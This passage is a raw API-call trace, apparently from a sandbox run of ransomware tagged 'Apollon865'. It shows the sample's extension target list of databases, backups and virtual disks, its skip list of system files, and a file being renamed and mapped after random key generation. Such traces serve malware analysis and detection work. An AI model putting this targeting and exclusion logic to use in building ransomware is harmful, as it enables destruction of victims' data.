	[0058.931] lstrlenW (lpString="dsn") returned 3
	[0058.932] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0058.932] lstrlenW (lpString="dtsx") returned 4
	[0058.932] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0058.932] lstrlenW (lpString="dxl") returned 3
	[0058.932] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0058.932] lstrlenW (lpString="eco") returned 3
	[0058.932] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0058.932] lstrlenW (lpString="ecx") returned 3
	[0058.932] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0058.932] lstrlenW (lpString="edb") returned 3
	[0058.932] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0058.932] lstrlenW (lpString="epim") returned 4
	[0058.932] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0058.932] lstrlenW (lpString="fcd") returned 3
	[0058.932] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0058.932] lstrlenW (lpString="fdb") returned 3
	[0058.932] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0058.932] lstrlenW (lpString="fic") returned 3
	[0058.932] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0058.932] lstrlenW (lpString="flexolibrary") returned 12
	[0058.932] lstrlenW (lpString="fm5") returned 3
	[0058.932] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0058.932] lstrlenW (lpString="fmp") returned 3
	[0058.932] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0058.932] lstrlenW (lpString="fmp12") returned 5
	[0058.932] lstrcmpiW (lpString1="n.jpg", lpString2="fmp12") returned 1
	[0058.932] lstrlenW (lpString="fmpsl") returned 5
	[0058.932] lstrcmpiW (lpString1="n.jpg", lpString2="fmpsl") returned 1
	[0058.932] lstrlenW (lpString="fol") returned 3
	[0058.932] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0058.932] lstrlenW (lpString="fp3") returned 3
	[0058.932] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0058.932] lstrlenW (lpString="fp4") returned 3
	[0058.932] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0058.933] lstrlenW (lpString="fp5") returned 3
	[0058.933] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0058.933] lstrlenW (lpString="fp7") returned 3
	[0058.933] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0058.933] lstrlenW (lpString="fpt") returned 3
	[0058.933] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0058.933] lstrlenW (lpString="frm") returned 3
	[0058.933] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0058.933] lstrlenW (lpString="gdb") returned 3
	[0058.933] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0058.933] lstrlenW (lpString="gdb") returned 3
	[0058.933] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0058.933] lstrlenW (lpString="grdb") returned 4
	[0058.933] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0058.933] lstrlenW (lpString="gwi") returned 3
	[0058.933] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0058.933] lstrlenW (lpString="hdb") returned 3
	[0058.933] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0058.933] lstrlenW (lpString="his") returned 3
	[0058.933] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0058.933] lstrlenW (lpString="ib") returned 2
	[0058.933] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0058.933] lstrlenW (lpString="idb") returned 3
	[0058.933] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0058.933] lstrlenW (lpString="ihx") returned 3
	[0058.933] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0058.933] lstrlenW (lpString="itdb") returned 4
	[0058.933] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0058.933] lstrlenW (lpString="itw") returned 3
	[0058.933] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0058.933] lstrlenW (lpString="jet") returned 3
	[0058.933] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0058.933] lstrlenW (lpString="jtx") returned 3
	[0058.933] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0058.934] lstrlenW (lpString="kdb") returned 3
	[0058.934] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0058.934] lstrlenW (lpString="kexi") returned 4
	[0058.934] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0058.934] lstrlenW (lpString="kexic") returned 5
	[0058.934] lstrcmpiW (lpString1="n.jpg", lpString2="kexic") returned 1
	[0058.934] lstrlenW (lpString="kexis") returned 5
	[0058.934] lstrcmpiW (lpString1="n.jpg", lpString2="kexis") returned 1
	[0058.934] lstrlenW (lpString="lgc") returned 3
	[0058.934] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0058.934] lstrlenW (lpString="lwx") returned 3
	[0058.934] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0058.934] lstrlenW (lpString="maf") returned 3
	[0058.934] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0058.934] lstrlenW (lpString="maq") returned 3
	[0058.934] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0058.934] lstrlenW (lpString="mar") returned 3
	[0058.934] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0058.934] lstrlenW (lpString="marshal") returned 7
	[0058.934] lstrcmpiW (lpString1="den.jpg", lpString2="marshal") returned -1
	[0058.934] lstrlenW (lpString="mas") returned 3
	[0058.934] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0058.934] lstrlenW (lpString="mav") returned 3
	[0058.934] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0058.934] lstrlenW (lpString="maw") returned 3
	[0058.934] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0058.934] lstrlenW (lpString="mdbhtml") returned 7
	[0058.934] lstrcmpiW (lpString1="den.jpg", lpString2="mdbhtml") returned -1
	[0058.934] lstrlenW (lpString="mdn") returned 3
	[0058.934] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0058.934] lstrlenW (lpString="mdt") returned 3
	[0058.934] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0058.934] lstrlenW (lpString="mfd") returned 3
	[0058.934] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0058.934] lstrlenW (lpString="mpd") returned 3
	[0058.935] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0058.935] lstrlenW (lpString="mrg") returned 3
	[0058.935] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0058.935] lstrlenW (lpString="mud") returned 3
	[0058.935] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0058.935] lstrlenW (lpString="mwb") returned 3
	[0058.935] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0058.935] lstrlenW (lpString="myd") returned 3
	[0058.935] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0058.935] lstrlenW (lpString="ndf") returned 3
	[0058.935] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0058.935] lstrlenW (lpString="nnt") returned 3
	[0058.935] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0058.935] lstrlenW (lpString="nrmlib") returned 6
	[0058.935] lstrcmpiW (lpString1="en.jpg", lpString2="nrmlib") returned -1
	[0058.935] lstrlenW (lpString="ns2") returned 3
	[0058.935] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0058.935] lstrlenW (lpString="ns3") returned 3
	[0058.935] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0058.935] lstrlenW (lpString="ns4") returned 3
	[0058.935] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0058.935] lstrlenW (lpString="nsf") returned 3
	[0058.935] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0058.935] lstrlenW (lpString="nv") returned 2
	[0058.935] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0058.935] lstrlenW (lpString="nv2") returned 3
	[0058.935] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0058.935] lstrlenW (lpString="nwdb") returned 4
	[0058.935] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0058.935] lstrlenW (lpString="nyf") returned 3
	[0058.935] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0058.935] lstrlenW (lpString="odb") returned 3
	[0058.935] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0058.935] lstrlenW (lpString="odb") returned 3
	[0058.936] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0058.936] lstrlenW (lpString="oqy") returned 3
	[0058.936] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0058.936] lstrlenW (lpString="ora") returned 3
	[0058.936] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0058.936] lstrlenW (lpString="orx") returned 3
	[0058.936] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0058.936] lstrlenW (lpString="owc") returned 3
	[0058.936] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0058.936] lstrlenW (lpString="p96") returned 3
	[0058.936] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0058.936] lstrlenW (lpString="p97") returned 3
	[0058.936] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0058.936] lstrlenW (lpString="pan") returned 3
	[0058.936] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0058.936] lstrlenW (lpString="pdb") returned 3
	[0058.936] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0058.936] lstrlenW (lpString="pdm") returned 3
	[0058.936] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0058.936] lstrlenW (lpString="pnz") returned 3
	[0058.936] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0058.936] lstrlenW (lpString="qry") returned 3
	[0058.936] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0058.936] lstrlenW (lpString="qvd") returned 3
	[0058.936] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0058.936] lstrlenW (lpString="rbf") returned 3
	[0058.936] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0058.936] lstrlenW (lpString="rctd") returned 4
	[0058.936] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0058.936] lstrlenW (lpString="rod") returned 3
	[0058.936] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0058.936] lstrlenW (lpString="rodx") returned 4
	[0058.936] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0058.936] lstrlenW (lpString="rpd") returned 3
	[0058.936] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0058.936] lstrlenW (lpString="rsd") returned 3
	[0058.937] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0058.937] lstrlenW (lpString="sas7bdat") returned 8
	[0058.937] lstrcmpiW (lpString1="rden.jpg", lpString2="sas7bdat") returned -1
	[0058.937] lstrlenW (lpString="sbf") returned 3
	[0058.937] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0058.937] lstrlenW (lpString="scx") returned 3
	[0058.937] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0058.937] lstrlenW (lpString="sdb") returned 3
	[0058.937] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0058.937] lstrlenW (lpString="sdc") returned 3
	[0058.937] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0058.937] lstrlenW (lpString="sdf") returned 3
	[0058.937] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0058.937] lstrlenW (lpString="sis") returned 3
	[0058.937] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0058.937] lstrlenW (lpString="spq") returned 3
	[0058.937] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0058.937] lstrlenW (lpString="te") returned 2
	[0058.937] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0058.937] lstrlenW (lpString="teacher") returned 7
	[0058.937] lstrcmpiW (lpString1="den.jpg", lpString2="teacher") returned -1
	[0058.937] lstrlenW (lpString="tmd") returned 3
	[0058.937] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0058.937] lstrlenW (lpString="tps") returned 3
	[0058.937] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0058.937] lstrlenW (lpString="trc") returned 3
	[0058.937] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0058.937] lstrlenW (lpString="trc") returned 3
	[0058.937] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0058.937] lstrlenW (lpString="trm") returned 3
	[0058.937] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0058.937] lstrlenW (lpString="udb") returned 3
	[0058.937] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0058.937] lstrlenW (lpString="udl") returned 3
	[0058.938] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0058.938] lstrlenW (lpString="usr") returned 3
	[0058.938] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0058.938] lstrlenW (lpString="v12") returned 3
	[0058.938] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0058.938] lstrlenW (lpString="vis") returned 3
	[0058.938] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0058.938] lstrlenW (lpString="vpd") returned 3
	[0058.938] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0058.938] lstrlenW (lpString="vvv") returned 3
	[0058.938] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0058.938] lstrlenW (lpString="wdb") returned 3
	[0058.938] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0058.938] lstrlenW (lpString="wmdb") returned 4
	[0058.938] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0058.938] lstrlenW (lpString="wrk") returned 3
	[0058.938] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0058.938] lstrlenW (lpString="xdb") returned 3
	[0058.938] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0058.938] lstrlenW (lpString="xld") returned 3
	[0058.938] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0058.938] lstrlenW (lpString="xmlff") returned 5
	[0058.938] lstrcmpiW (lpString1="n.jpg", lpString2="xmlff") returned -1
	[0058.938] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.Apollon865") returned 86
	[0058.938] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg.apollon865"), dwFlags=0x1) returned 1
	[0058.940] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0058.940] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=23871) returned 1
	[0058.940] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0058.940] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0058.940] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0058.940] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0058.941] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0058.941] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0058.941] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6040, lpName=0x0) returned 0x154
	[0058.943] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6040) returned 0x120000
	[0058.945] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0058.946] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0058.946] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0058.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0058.946] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0058.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0058.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0058.946] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0058.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0058.946] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0058.946] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0058.946] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0058.946] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0058.946] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0058.947] CloseHandle (hObject=0x154) returned 1
	[0058.947] CloseHandle (hObject=0x150) returned 1
	[0058.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0058.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0058.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0058.947] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="GREENB~1.HTM")) returned 1
	[0058.947] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0058.947] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="Apollon865.txt.exe") returned 1
	[0058.947] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2=".") returned 1
	[0058.947] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="..") returned 1
	[0058.947] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="windows") returned -1
	[0058.947] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="bootmgr") returned 1
	[0058.947] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="temp") returned -1
	[0058.947] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="pagefile.sys") returned -1
	[0058.947] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="boot") returned 1
	[0058.947] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="ids.txt") returned -1
	[0058.947] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="ntuser.dat") returned -1
	[0058.947] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="perflogs") returned -1
	[0058.948] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="MSBuild") returned -1
	[0058.948] lstrlenW (lpString="Green Bubbles.htm") returned 17
	[0058.948] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg") returned 75
	[0058.948] lstrcpyW (in: lpString1=0x119e68a, lpString2="Green Bubbles.htm" | out: lpString1="Green Bubbles.htm") returned="Green Bubbles.htm"
	[0058.948] lstrlenW (lpString="Green Bubbles.htm") returned 17
	[0058.948] lstrlenW (lpString="Apollon865") returned 10
	[0058.948] lstrcmpiW (lpString1="ubbles.htm", lpString2="Apollon865") returned 1
	[0058.948] lstrlenW (lpString=".dll") returned 4
	[0058.948] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2=".dll") returned 1
	[0058.948] lstrlenW (lpString=".lnk") returned 4
	[0058.948] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2=".lnk") returned 1
	[0058.948] lstrlenW (lpString=".ini") returned 4
	[0058.948] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2=".ini") returned 1
	[0058.948] lstrlenW (lpString=".sys") returned 4
	[0058.948] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2=".sys") returned 1
	[0058.948] lstrlenW (lpString="Green Bubbles.htm") returned 17
	[0058.948] lstrlenW (lpString="bak") returned 3
	[0058.948] lstrcmpiW (lpString1="htm", lpString2="bak") returned 1
	[0058.948] lstrlenW (lpString="ba_") returned 3
	[0058.948] lstrcmpiW (lpString1="htm", lpString2="ba_") returned 1
	[0058.948] lstrlenW (lpString="dbb") returned 3
	[0058.948] lstrcmpiW (lpString1="htm", lpString2="dbb") returned 1
	[0058.948] lstrlenW (lpString="vmdk") returned 4
	[0058.948] lstrcmpiW (lpString1=".htm", lpString2="vmdk") returned -1
	[0058.948] lstrlenW (lpString="rar") returned 3
	[0058.948] lstrcmpiW (lpString1="htm", lpString2="rar") returned -1
	[0058.948] lstrlenW (lpString="zip") returned 3
	[0058.948] lstrcmpiW (lpString1="htm", lpString2="zip") returned -1
	[0058.948] lstrlenW (lpString="tgz") returned 3
	[0058.948] lstrcmpiW (lpString1="htm", lpString2="tgz") returned -1
	[0058.948] lstrlenW (lpString="vbox") returned 4
	[0058.948] lstrcmpiW (lpString1=".htm", lpString2="vbox") returned -1
	[0058.948] lstrlenW (lpString="vdi") returned 3
	[0058.948] lstrcmpiW (lpString1="htm", lpString2="vdi") returned -1
	[0058.948] lstrlenW (lpString="vhd") returned 3
	[0058.949] lstrcmpiW (lpString1="htm", lpString2="vhd") returned -1
	[0058.949] lstrlenW (lpString="vhdx") returned 4
	[0058.949] lstrcmpiW (lpString1=".htm", lpString2="vhdx") returned -1
	[0058.949] lstrlenW (lpString="avhd") returned 4
	[0058.949] lstrcmpiW (lpString1=".htm", lpString2="avhd") returned -1
	[0058.949] lstrlenW (lpString="db") returned 2
	[0058.949] lstrcmpiW (lpString1="tm", lpString2="db") returned 1
	[0058.949] lstrlenW (lpString="db2") returned 3
	[0058.949] lstrcmpiW (lpString1="htm", lpString2="db2") returned 1
	[0058.949] lstrlenW (lpString="db3") returned 3
	[0058.949] lstrcmpiW (lpString1="htm", lpString2="db3") returned 1
	[0058.949] lstrlenW (lpString="dbf") returned 3
	[0058.949] lstrcmpiW (lpString1="htm", lpString2="dbf") returned 1
	[0058.949] lstrlenW (lpString="mdf") returned 3
	[0058.949] lstrcmpiW (lpString1="htm", lpString2="mdf") returned -1
	[0058.949] lstrlenW (lpString="mdb") returned 3
	[0058.949] lstrcmpiW (lpString1="htm", lpString2="mdb") returned -1
	[0058.949] lstrlenW (lpString="sql") returned 3
	[0058.949] lstrcmpiW (lpString1="htm", lpString2="sql") returned -1
	[0058.949] lstrlenW (lpString="sqlite") returned 6
	[0058.949] lstrcmpiW (lpString1="es.htm", lpString2="sqlite") returned -1
	[0058.949] lstrlenW (lpString="sqlite3") returned 7
	[0058.949] lstrcmpiW (lpString1="les.htm", lpString2="sqlite3") returned -1
	[0058.949] lstrlenW (lpString="sqlitedb") returned 8
	[0058.949] lstrcmpiW (lpString1="bles.htm", lpString2="sqlitedb") returned -1
	[0058.949] lstrlenW (lpString="xml") returned 3
	[0058.949] lstrcmpiW (lpString1="htm", lpString2="xml") returned -1
	[0058.949] lstrlenW (lpString="$er") returned 3
	[0058.949] lstrcmpiW (lpString1="htm", lpString2="$er") returned 1
	[0058.949] lstrlenW (lpString="4dd") returned 3
	[0058.949] lstrcmpiW (lpString1="htm", lpString2="4dd") returned 1
	[0058.949] lstrlenW (lpString="4dl") returned 3
	[0058.949] lstrcmpiW (lpString1="htm", lpString2="4dl") returned 1
	[0058.950] lstrlenW (lpString="^^^") returned 3
	[0058.950] lstrcmpiW (lpString1="htm", lpString2="^^^") returned 1
	[0058.950] lstrlenW (lpString="abs") returned 3
	[0058.950] lstrcmpiW (lpString1="htm", lpString2="abs") returned 1
	[0058.950] lstrlenW (lpString="abx") returned 3
	[0058.950] lstrcmpiW (lpString1="htm", lpString2="abx") returned 1
	[0058.950] lstrlenW (lpString="accdb") returned 5
	[0058.950] lstrcmpiW (lpString1="s.htm", lpString2="accdb") returned 1
	[0058.950] lstrlenW (lpString="accdc") returned 5
	[0058.950] lstrcmpiW (lpString1="s.htm", lpString2="accdc") returned 1
	[0058.950] lstrlenW (lpString="accde") returned 5
	[0058.950] lstrcmpiW (lpString1="s.htm", lpString2="accde") returned 1
	[0058.950] lstrlenW (lpString="accdr") returned 5
	[0058.950] lstrcmpiW (lpString1="s.htm", lpString2="accdr") returned 1
	[0058.950] lstrlenW (lpString="accdt") returned 5
	[0058.950] lstrcmpiW (lpString1="s.htm", lpString2="accdt") returned 1
	[0058.950] lstrlenW (lpString="accdw") returned 5
	[0058.950] lstrcmpiW (lpString1="s.htm", lpString2="accdw") returned 1
	[0058.950] lstrlenW (lpString="accft") returned 5
	[0058.950] lstrcmpiW (lpString1="s.htm", lpString2="accft") returned 1
	[0058.950] lstrlenW (lpString="adb") returned 3
	[0058.950] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1
	[0058.950] lstrlenW (lpString="adb") returned 3
	[0058.950] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1
	[0058.950] lstrlenW (lpString="ade") returned 3
	[0058.950] lstrcmpiW (lpString1="htm", lpString2="ade") returned 1
	[0058.950] lstrlenW (lpString="adf") returned 3
	[0058.950] lstrcmpiW (lpString1="htm", lpString2="adf") returned 1
	[0058.950] lstrlenW (lpString="adn") returned 3
	[0058.950] lstrcmpiW (lpString1="htm", lpString2="adn") returned 1
	[0058.950] lstrlenW (lpString="adp") returned 3
	[0058.950] lstrcmpiW (lpString1="htm", lpString2="adp") returned 1
	[0058.950] lstrlenW (lpString="alf") returned 3
	[0058.950] lstrcmpiW (lpString1="htm", lpString2="alf") returned 1
	[0058.950] lstrlenW (lpString="ask") returned 3
	[0058.951] lstrcmpiW (lpString1="htm", lpString2="ask") returned 1
	[0058.951] lstrlenW (lpString="btr") returned 3
	[0058.951] lstrcmpiW (lpString1="htm", lpString2="btr") returned 1
	[0058.951] lstrlenW (lpString="cat") returned 3
	[0058.951] lstrcmpiW (lpString1="htm", lpString2="cat") returned 1
	[0058.951] lstrlenW (lpString="cdb") returned 3
	[0058.951] lstrcmpiW (lpString1="htm", lpString2="cdb") returned 1
	[0058.951] lstrlenW (lpString="ckp") returned 3
	[0058.951] lstrcmpiW (lpString1="htm", lpString2="ckp") returned 1
	[0058.951] lstrlenW (lpString="cma") returned 3
	[0058.951] lstrcmpiW (lpString1="htm", lpString2="cma") returned 1
	[0058.951] lstrlenW (lpString="cpd") returned 3
	[0058.951] lstrcmpiW (lpString1="htm", lpString2="cpd") returned 1
	[0058.951] lstrlenW (lpString="dacpac") returned 6
	[0058.951] lstrcmpiW (lpString1="es.htm", lpString2="dacpac") returned 1
	[0058.951] lstrlenW (lpString="dad") returned 3
	[0058.951] lstrcmpiW (lpString1="htm", lpString2="dad") returned 1
	[0058.951] lstrlenW (lpString="dadiagrams") returned 10
	[0058.951] lstrcmpiW (lpString1="ubbles.htm", lpString2="dadiagrams") returned 1
	[0058.951] lstrlenW (lpString="daschema") returned 8
